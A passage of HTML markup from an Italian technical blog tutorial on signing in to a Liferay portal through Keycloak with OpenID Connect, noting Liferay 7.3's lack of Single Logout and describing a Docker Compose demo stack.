        &lt;source srcSet=&quot;/static/39c1f6ef7ef473dcc2455e9de5166b71/c85cb/liferay-accesso-via-openid-connect-selezione-provider.webp 300w,/static/39c1f6ef7ef473dcc2455e9de5166b71/e88ff/liferay-accesso-via-openid-connect-selezione-provider.webp 600w,/static/39c1f6ef7ef473dcc2455e9de5166b71/92f8c/liferay-accesso-via-openid-connect-selezione-provider.webp 1200w,/static/39c1f6ef7ef473dcc2455e9de5166b71/c6aef/liferay-accesso-via-openid-connect-selezione-provider.webp 1256w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/39c1f6ef7ef473dcc2455e9de5166b71/5a46d/liferay-accesso-via-openid-connect-selezione-provider.png 300w,/static/39c1f6ef7ef473dcc2455e9de5166b71/0a47e/liferay-accesso-via-openid-connect-selezione-provider.png 600w,/static/39c1f6ef7ef473dcc2455e9de5166b71/c1b63/liferay-accesso-via-openid-connect-selezione-provider.png 1200w,/static/39c1f6ef7ef473dcc2455e9de5166b71/2eb79/liferay-accesso-via-openid-connect-selezione-provider.png 1256w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 18 - Selezione dell&amp;#x27;OpenID Connect Provider&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/39c1f6ef7ef473dcc2455e9de5166b71/c1b63/liferay-accesso-via-openid-connect-selezione-provider.png&quot; title=&quot;Figura 18 - Selezione dell&amp;#x27;OpenID Connect Provider&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 18 - Selezione dell&amp;#x27;OpenID Connect Provider&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Una volta selezionato il provider e cliccato sul pulsante &lt;em&gt;Sign In&lt;/em&gt;, Liferay
provvede a rimandare l’utente alla pagina di Login di Keycloak (e in particolare
del Realm creato in precedenza).&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/9e94472c11d867f4fc90bf9d880188d0/4969b/keycloak-richiesta-accesso-openid-connect-da-liferay.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:47%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;188\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20188\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M2%201v185h67l199%201h131V2L200%201H2m130%2066l-1%2056v55h138V66h-68l-69%201m10%2068v4h116v-8H142v4\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/9e94472c11d867f4fc90bf9d880188d0/c85cb/keycloak-richiesta-accesso-openid-connect-da-liferay.webp 300w,/static/9e94472c11d867f4fc90bf9d880188d0/e88ff/keycloak-richiesta-accesso-openid-connect-da-liferay.webp 600w,/static/9e94472c11d867f4fc90bf9d880188d0/92f8c/keycloak-richiesta-accesso-openid-connect-da-liferay.webp 1200w,/static/9e94472c11d867f4fc90bf9d880188d0/62ed8/keycloak-richiesta-accesso-openid-connect-da-liferay.webp 1800w,/static/9e94472c11d867f4fc90bf9d880188d0/46261/keycloak-richiesta-accesso-openid-connect-da-liferay.webp 2400w,/static/9e94472c11d867f4fc90bf9d880188d0/b23db/keycloak-richiesta-accesso-openid-connect-da-liferay.webp 2454w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/9e94472c11d867f4fc90bf9d880188d0/5a46d/keycloak-richiesta-accesso-openid-connect-da-liferay.png 300w,/static/9e94472c11d867f4fc90bf9d880188d0/0a47e/keycloak-richiesta-accesso-openid-connect-da-liferay.png 600w,/static/9e94472c11d867f4fc90bf9d880188d0/c1b63/keycloak-richiesta-accesso-openid-connect-da-liferay.png 1200w,/static/9e94472c11d867f4fc90bf9d880188d0/d61c2/keycloak-richiesta-accesso-openid-connect-da-liferay.png 1800w,/static/9e94472c11d867f4fc90bf9d880188d0/97a96/keycloak-richiesta-accesso-openid-connect-da-liferay.png 2400w,/static/9e94472c11d867f4fc90bf9d880188d0/4969b/keycloak-richiesta-accesso-openid-connect-da-liferay.png 2454w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 19 - Pagina login su Keycloak per lo specifico Realm&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/9e94472c11d867f4fc90bf9d880188d0/c1b63/keycloak-richiesta-accesso-openid-connect-da-liferay.png&quot; title=&quot;Figura 19 - Pagina login su Keycloak per lo specifico Realm&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 19 - Pagina login su Keycloak per lo specifico Realm&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Sulla pagina di login inserire delle credenziali di accesso valide (per esempio
di un utente definito su LDAP o localmente a Keycloak). Se le credenziali inserite
sono corrette, allora l’utente sarà rediretto sulla home page del portale Liferay.
Qualora l’utente non fosse presente su Liferay, questo sarà creato utilizzando
le informazioni ottenute dall&amp;#x27;Identity Provider (Keycloak).&lt;/p&gt;&lt;p&gt;Le figure a seguire mostrano il portale Liferay con l’utente appena loggato e le
sessioni attive su Keycloak per il client OpenID Connect dedicato a Liferay.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/440f2e413eab351bad0751a7be99c04c/a83dd/liferay-accesso-come-utente.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:42.33333333333334%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;169\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20169\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M9%206v5c0%203%201%204%206%204h5V6l-5-1-6%201m37%2036v3l-1-1c0-3-3-2-3%200-1%201-1%200-1-1%201-2%200-2-6-2-7%200-11%201-11%204h-5c-2-1-2-1-1-3%201-1%200-1-5-1-6%200-7%201-5%203v1L7%2096v49h6a248%20248%200%200116%200l-2-1-3-1c0-3%202-3%206-3l4-1c0-1%204-2%206-1%201%200%201%201-1%201-1%201-2%201-1%202l2%203%202%201%207-1c8-1%209-3%201-2-7%200-9-1-7-4%200-2%202-1%202%201l2%202v-2l3-3%202-1c-1%202%200%202%204%202s4%200%204%203%200%204-2%204l15%201a291%20291%200%200058-1%20513%20513%200%200075%200l-9-2-7-1c-1%202-4%201-9%200l-5-2h27c5-1%206%200%205%204%200%202%201%202%207%202%208%200%208%200%207-7%200-3%200-3%205-3%208%200%209%201%209%205%200%203%200%203%203%203%203-1%204%200%205%201h2l3%201%203-1h1l1%201%201-1c-1-2%203-4%209-5l7-2%205-1v1h7c8-1%2015%200%2014%201l5%201h8c4%201%2015-1%2016-3V99l-3-1c-2-1-2-1%202-2%202-1%202-6%201-6v-1l1-22-1-23v-3h-11a435%20435%200%2000-49%200h-9c-3%200-3%201-2%201%202%200%202%200%201%201h-4c-2-2-10-3-25-2-6%200-6%200-6%203v3l-1-3c0-3-1-3-1-2h-3c-3-1-13-1-13%201h-2l-2-1-2-1c-1%200-2%200-1%202l-2%201c-2%200-3-1-3-2%200-2-1-2-3-2-3%200-4%200-4%202h-1l-6-1c-8%200-9%200-8%201l-2%201-2-1-3-1c-2%200-3%200-2%201%203%200%202%203%200%203-3%201-4%200-2-1%201-1%201-1-1-2h-3c0-2%200-2-2-2l-3%201-2%201c1%202-2%202-3%200h-3v1l2%201h-5l-7-1-3-1-2-1v1l-3%201c-2-1-3-1-3%201l-2%201c-2%200-2%200-1-2%201-1%201-1-1-1h-7c-1-1-5%200-5%202l-1-1c-1-2-1-2-10-2-6%200-8%200-6%201l1%201-3%201-6%201c-4%200-4%200-4-2%200-3%200-3-6-3s-6%200-6%203c0%202-2%203-3%200%200-2-13-3-14-1m62%206c-8%205-12%2012-10%2014l1%203%202%202%202-2c0-4%209-11%2016-11h4l-2-2-6-5-3-2-4%203\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/440f2e413eab351bad0751a7be99c04c/c85cb/liferay-accesso-come-utente.webp 300w,/static/440f2e413eab351bad0751a7be99c04c/e88ff/liferay-accesso-come-utente.webp 600w,/static/440f2e413eab351bad0751a7be99c04c/92f8c/liferay-accesso-come-utente.webp 1200w,/static/440f2e413eab351bad0751a7be99c04c/83d4c/liferay-accesso-come-utente.webp 1482w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/440f2e413eab351bad0751a7be99c04c/5a46d/liferay-accesso-come-utente.png 300w,/static/440f2e413eab351bad0751a7be99c04c/0a47e/liferay-accesso-come-utente.png 600w,/static/440f2e413eab351bad0751a7be99c04c/c1b63/liferay-accesso-come-utente.png 1200w,/static/440f2e413eab351bad0751a7be99c04c/a83dd/liferay-accesso-come-utente.png 1482w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 20 - Home Page del portale Liferay dopo l&amp;#x27;autenticazione via OpenID Connect&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/440f2e413eab351bad0751a7be99c04c/c1b63/liferay-accesso-come-utente.png&quot; title=&quot;Figura 20 - Home Page del portale Liferay dopo l&amp;#x27;autenticazione via OpenID Connect&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 20 - Home Page del portale Liferay dopo l&amp;#x27;autenticazione via OpenID Connect&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/5a5ffe56b538de2c2f9cfb76b556d5a0/8e6e2/keycloak-sessioni-attive.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:31.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;126\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20126\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;/%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/5a5ffe56b538de2c2f9cfb76b556d5a0/c85cb/keycloak-sessioni-attive.webp 300w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/e88ff/keycloak-sessioni-attive.webp 600w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/92f8c/keycloak-sessioni-attive.webp 1200w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/62ed8/keycloak-sessioni-attive.webp 1800w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/46261/keycloak-sessioni-attive.webp 2400w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/a5690/keycloak-sessioni-attive.webp 2438w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/5a5ffe56b538de2c2f9cfb76b556d5a0/5a46d/keycloak-sessioni-attive.png 300w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/0a47e/keycloak-sessioni-attive.png 600w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/c1b63/keycloak-sessioni-attive.png 1200w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/d61c2/keycloak-sessioni-attive.png 1800w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/97a96/keycloak-sessioni-attive.png 2400w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/8e6e2/keycloak-sessioni-attive.png 2438w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 21 - Sessioni attive per il client OpenID Connect di Liferay Portal&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/5a5ffe56b538de2c2f9cfb76b556d5a0/c1b63/keycloak-sessioni-attive.png&quot; title=&quot;Figura 21 - Sessioni attive per il client OpenID Connect di Liferay Portal&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 21 - Sessioni attive per il client OpenID Connect di Liferay Portal&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;h2 id=&quot;5---implementazione-del-single-logout-slo&quot;&gt;5 - Implementazione del Single Logout (SLO)&lt;/h2&gt;&lt;p&gt;L’implementazione built-in di OpenID Connect sulla versione 7.3 di Liferay non
supporta la funzionalità di &lt;em&gt;SLO o Single Logout&lt;/em&gt;, questo significa che quando un
utente viene disconnesso da Liferay (operazione di logout o sessione scaduta),
questo non viene automaticamente disconnesso da Keycloak, con la conseguenza che
un nuovo accesso non richiederà l’inserimento delle credenziali utenti su
Keycloak (se attiva ancora la sessione). &lt;/p&gt;&lt;p&gt;Questa situazione è riportata chiaramente sulla Knowledge Base sotto il nome di
&lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360035088252-Liferay-s-OpenID-Connect-implementation-and-Single-Logout&quot;&gt;Liferay&amp;#x27;s OpenID Connect implementation and Single Logout&lt;/a&gt; (vedi estratto nella
figura a seguire). Tuttavia, lo SLO può essere implementato con un&amp;#x27;azione di post
logout personalizzata.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/41be785ce13792af87b89cddf0309546/eadfb/liferay-note-for-slo.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:59.00000000000001%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;236\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20236\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M166%20164v4h5l3-1v-1c1-1%202%200%202%201%201%202%203%201%202-1l1-2%201%203h3c0%202%202%201%202-1h1l3%202v-2l3%201%202%201v-2l1-1c0-2-8-2-11-1h-2c0%201-1%201-3-1h-3l-9-1c-1-1-1%200-1%202m-94%2051c1%201-1%202-2%200H60l-2%201h-6c-1-1-3%202-3%203%201%203%204%202%204%200l1%201c1%201%201%201%202-1s1-2%201%200l1%202%201-2c0-2%200-2%201%200%201%203%208%203%208%200l1-2v2c0%201%201%202%203%202s2%200%202-4l-1-4-1%202m-58%2011\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/41be785ce13792af87b89cddf0309546/c85cb/liferay-note-for-slo.webp 300w,/static/41be785ce13792af87b89cddf0309546/e88ff/liferay-note-for-slo.webp 600w,/static/41be785ce13792af87b89cddf0309546/92f8c/liferay-note-for-slo.webp 1200w,/static/41be785ce13792af87b89cddf0309546/62ed8/liferay-note-for-slo.webp 1800w,/static/41be785ce13792af87b89cddf0309546/5db77/liferay-note-for-slo.webp 2386w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/41be785ce13792af87b89cddf0309546/5a46d/liferay-note-for-slo.png 300w,/static/41be785ce13792af87b89cddf0309546/0a47e/liferay-note-for-slo.png 600w,/static/41be785ce13792af87b89cddf0309546/c1b63/liferay-note-for-slo.png 1200w,/static/41be785ce13792af87b89cddf0309546/d61c2/liferay-note-for-slo.png 1800w,/static/41be785ce13792af87b89cddf0309546/eadfb/liferay-note-for-slo.png 2386w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 22 - Estratto dalla Knowledge Base di Liferay con evidenza del non supporto dello SLO&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/41be785ce13792af87b89cddf0309546/c1b63/liferay-note-for-slo.png&quot; title=&quot;Figura 22 - Estratto dalla Knowledge Base di Liferay con evidenza del non supporto dello SLO&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 22 - Estratto dalla Knowledge Base di Liferay con evidenza del non supporto dello SLO&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;h2 id=&quot;6---il-bonus&quot;&gt;6 - Il bonus&lt;/h2&gt;&lt;p&gt;Immagino che avere la disponibilità un Docker Compose con tutti i servizi
configurati che implementi lo scenario descritto, sia un bel bonus;
&lt;strong&gt;siete della stessa idea?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Il progetto &lt;strong&gt;&lt;a href=&quot;https://github.com/smclab/keycloak-openid-connect-liferay&quot;&gt;keycloak-openid-connect-liferay&lt;/a&gt;&lt;/strong&gt; pubblicato sul repository GitHub di
&lt;a href=&quot;https://www.smc.it&quot;&gt;SMC&lt;/a&gt;, contiene il Docker Compose e tutte le configurazioni
che abbiamo visto nel corso di questo articolo.&lt;/p&gt;&lt;p&gt;A seguire sono riportati i servizi che compongono lo stack.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Keycloak&lt;/li&gt;&lt;li&gt;OpenLDAP (implementazione del servizio LDAP per lo store degli utenti)&lt;/li&gt;&lt;li&gt;PHP LDAP Admin (interfaccia di amministrazione di LDAP)&lt;/li&gt;&lt;li&gt;PostgreSQL (database per Keycloak e Liferay)&lt;/li&gt;&lt;li&gt;Liferay&lt;/li&gt;&lt;li&gt;fakeSMTP (servizio per l&amp;#x27;invio email)&lt;/li&gt;&lt;li&gt;Traefik (Load Balancer)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;I servizi essenziali sono: Traefik, Keycloak, OpenLDAP, PostgreSQL e Liferay.
La figura a seguire mostra il diagramma che riassume lo stack completo.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/6a2534146a2cc34caa812f820bd28394/f761d/docker-compose-service-stack.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:64.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;257\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20257\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M5%205L4%2092v86h43V5L26%204%205%205m50%200l-1%2087v86h43V5L76%204%2055%205m50%200l-1%2087v86h43V5l-21-1-21%201m50%200l-1%2087v86h21c21%200%2021%200%2022-2V5l-21-1-21%201m49%2086v87h42V4h-42v87m50%200v87h42V4h-42v87m51-86l-1%2087v86h42V4h-20l-21%201m49%2086v87h42V4h-42v87M6%2092v85h39V6H6v86m50%200v85h39V6H56v86m50%200v85h39V6h-39v86m50%200v85h39V6h-39v86m50%200v85h39V6h-39v86m49-85v86l1%2084h39V6h-20l-20%201m50%2084l1%2086h39V6h-40v85m50%201v85h40V6h-40v86M59%2010v8l1%206h32V10L76%209l-17%201m50%206v8h33V9h-33v7m50%201v7h33V9h-33v8m150-8v15h16l17-1V10l-17-1h-16m50%200v15h33l-1-7v-7l-16-1h-16M59%2028v8l1%206h32V28l-16-1-17%201m101%200l-1%207v7h33V28l-16-1-16%201m153%200h-4v7l1%207h32v-7l-1-7h-28M74%20100l1%202v3l-1%203c1%202%200%203-1%203v7c5%203%2010-2%206-6-2-2-1-2%202-2l1-1c1-1%200-1-1-1l-1-1v-7c-1-1-1%200-1%201l-1-1c-1-2-3-3-4%200m-1%2040c-4%202-4%208-1%2016%202%206%202%208-1%208l-3%202c0%202%202%204%204%204l5-1c4-1%205-5%203-11l-3-7v-6c2-3-1-7-4-5m93%201v5c1%201%202%208%200%208v2c2%202%2019%201%2019-2h-1c-2%200-2-1-1-5l1-7c-1-1-17-2-18-1m55%200c-11%201-12%202-10%2012%201%208%203%2010%208%2010%204%201%205%201%205%203%200%203%202%205%205%205%202%200%205-3%205-6l3-3c3-1%204-5%201-4v-4c3-7%202-10-1-12l-5-2-11%201m50%200c-11%201-12%202-10%2012%201%208%203%2010%208%2010%204%201%205%202%205%203%200%204%201%205%204%205s5-1%206-5c0-2%201-3%203-4%203-1%204-4%202-5-2%200-2-1%200-4%203-11%200-14-18-12m49%201c-4%202-10%209-11%2012-1%206%208%2016%2015%2018%207%201%2016-9%2016-16%200-9-12-18-20-14m-303%204c-2%204-2%204%200%204s2%200%200%203v5c3%203%202%204%200%204-2-1-2-1%200%203%201%203%201%203%208%203%206%200%207%200%208-2%202-3%202-5%200-5v-2c2-3%201-5-1-7l-2-2h3c2%200%203-1%201-4s-15-3-17%200m99%207l-2%201c-1%200-2%200-2%202%200%203%200%203%202%202l3-2%201-1v4c0%204%200%204%202%204l2-1h-1l-1-2%202-2c1-1%201%200%201%202%200%203%200%203%202%203h3l-3%202c-4%200-6%201-4%202h1l1-1%201%201c0%201%202%202%2010%202h10l-1-3c0-2-1-2-2-2h-6l-5-1%202-1c3%201%207-1%207-3%200-3-4-2-4%201l-1%203-1-3-1-3c-1%200-2%201-2%203-2%202-2%202-2%200s-1-2-3-2l-1-2-2-2-4-1h-2M4%20207v21h392v-42H4v21m2%200v20h389v-40H6v20\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/6a2534146a2cc34caa812f820bd28394/c85cb/docker-compose-service-stack.webp 300w,/static/6a2534146a2cc34caa812f820bd28394/e88ff/docker-compose-service-stack.webp 600w,/static/6a2534146a2cc34caa812f820bd28394/92f8c/docker-compose-service-stack.webp 1200w,/static/6a2534146a2cc34caa812f820bd28394/62ed8/docker-compose-service-stack.webp 1800w,/static/6a2534146a2cc34caa812f820bd28394/46261/docker-compose-service-stack.webp 2400w,/static/6a2534146a2cc34caa812f820bd28394/58247/docker-compose-service-stack.webp 2646w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/6a2534146a2cc34caa812f820bd28394/f93b5/docker-compose-service-stack.jpg 300w,/static/6a2534146a2cc34caa812f820bd28394/b4294/docker-compose-service-stack.jpg 600w,/static/6a2534146a2cc34caa812f820bd28394/e5166/docker-compose-service-stack.jpg 1200w,/static/6a2534146a2cc34caa812f820bd28394/d9c39/docker-compose-service-stack.jpg 1800w,/static/6a2534146a2cc34caa812f820bd28394/df51d/docker-compose-service-stack.jpg 2400w,/static/6a2534146a2cc34caa812f820bd28394/f761d/docker-compose-service-stack.jpg 2646w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figura 23 - Diagramma dello stack dei servizi configurati via Docker Compose&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/6a2534146a2cc34caa812f820bd28394/e5166/docker-compose-service-stack.jpg&quot; title=&quot;Figura 23 - Diagramma dello stack dei servizi configurati via Docker Compose&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 23 - Diagramma dello stack dei servizi configurati via Docker Compose&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;I servizi di Keycloak e del portale Liferay sono configurati per essere accessibili
attraverso Traefik su porta https e sui rispettivi FQDN indicati a seguire:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://iam.smc.lab.local&quot;&gt;iam.smc.lab.local&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://portal.smc.lab.local&quot;&gt;portal.smc.lab.lacal&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Gli step necessari per eseguire l&amp;#x27;intero stack sono:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Verifica della versione di Docker (Docker Engine 20.10.x, Docker Compose 2.0.x)&lt;/li&gt;&lt;li&gt;Clone del repository keycloak-openid-connect-liferay&lt;/li&gt;&lt;li&gt;Aggiornamento del file di hosts (della macchina host) con le entry per Keycloak e Liferay&lt;/li&gt;&lt;li&gt;Avvio dello stack via Docker Compose&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Riguardo la versione di Docker, per questo articolo è stato fatto uso di &lt;a href=&quot;https://hub.docker.com/editions/community/docker-ce-desktop-mac&quot;&gt;Docker
Desktop per macOS&lt;/a&gt;
versione 4.1.0 (che include Docker Engine 20.10.8 e Docker Compose 2.0.0).&lt;/p&gt;&lt;p&gt;Ho comunque eseguito un test usando Docker su Linux. Stessa versione di Docker
usata su macOS ma con una versione di Docker Compose inferiore, ovvero, la 1.28.6.
Non ho riscontrato alcun problema, lo stack dei servizi è stato correttamente
tirato su.&lt;/p&gt;&lt;p&gt;Non ho potuto fare test su Windows; lascio a qualcuno di voi la conduzione di
